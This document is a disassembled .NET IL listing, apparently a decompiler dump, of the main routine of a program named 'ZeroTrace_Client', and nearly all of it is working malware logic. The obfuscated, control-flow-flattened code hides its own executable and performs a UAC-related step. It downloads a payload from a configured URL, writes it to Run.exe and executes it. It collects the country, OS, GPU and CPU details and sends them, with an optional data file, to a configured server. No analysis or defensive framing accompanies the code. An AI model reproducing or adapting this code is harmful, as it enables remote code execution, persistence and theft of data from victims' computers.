call System.Void ZeroTrace_Client.Program::a()
ldc.i4.0 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_03EA: ret
ldstr Server IP:
ldsfld System.String ZeroTrace_Client.Program::G
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr Server Port: {0}
ldsfld System.Int32 ZeroTrace_Client.Program::a
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.2 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr inj:
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.3 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr uac:
ldsfld System.String ZeroTrace_Client.Program::H
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.4 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr downloadexecute:
ldsfld System.String ZeroTrace_Client.Program::i
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.5 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_00EC: ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.Windows.Forms.Application::get_ExecutablePath()
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldc.i4.6 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_010F: ldstr "Unexpected value for inj: "
ldstr hide is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldstr Unexpected value for inj:
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0147: ldsfld System.String ZeroTrace_Client.Program::H
call System.Boolean ZeroTrace_Client.Program::a()
brtrue.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
call System.Void ZeroTrace_Client.Program::A()
ldc.i4.8 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_016B: ldstr "Unexpected value for inj: "
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
ldstr Unexpected value for inj:
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::i
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DC: call System.String ZeroTrace_Client.Program::i()
newobj System.Void System.Net.WebClient::.ctor()
ldsfld System.String ZeroTrace_Client.Program::i
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
stloc.0 <null>
ldc.i4.s 10
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
ldloc.0 <null>
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 11
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
call System.String ZeroTrace_Client.Program::i()
stloc.1 <null>
ldc.i4.0 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_039A: ldloc.s V_8
call System.String ZeroTrace_Client.Program::j()
stloc.2 <null>
ldc.i4.1 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::J()
stloc.3 <null>
ldc.i4.2 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::k()
stloc.s V_4
ldc.i4.3 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::b()
stloc.s V_5
ldc.i4.4 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::B()
stloc.s V_6
ldc.i4.5 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::c()
stloc.s V_7
ldc.i4.6 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr Country:
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr OS:
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.8 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr GPU:
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr CPU:
ldloc.s V_4
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 10
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.s V_4
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_5
brtrue.s IL_0306: ldstr "1"
ldstr 0
br.s IL_030B: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_6
brtrue.s IL_0323: ldstr "1"
ldstr 0
br.s IL_0328: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_7
brtrue.s IL_0340: ldstr "1"
ldstr 0
br.s IL_0345: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
stloc.s V_8
ldc.i4.s 11
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::a()
stloc.s V_9
ldc.i4.s 12
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_9
brfalse.s IL_0389: ldstr "Sending system info only..."
ldstr Sending system info and data file to server...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
ldloc.s V_9
call System.Void ZeroTrace_Client.Program::a(System.String,System.String)
ldc.i4.s 14
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
br.s IL_03A1: leave.s IL_03C8
ldstr Sending system info only...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 15
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
call System.Void ZeroTrace_Client.Program::a(System.String)
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldc.i4.0 <null>
br.s IL_03A9: brfalse.s IL_03AD
ldc.i4.0 <null>
brfalse.s IL_03AD: ldstr "Error: "
br.s IL_03C6: leave.s IL_03C8
ldstr Error:
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_03A9: brfalse.s IL_03AD
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 12
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.s 13
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>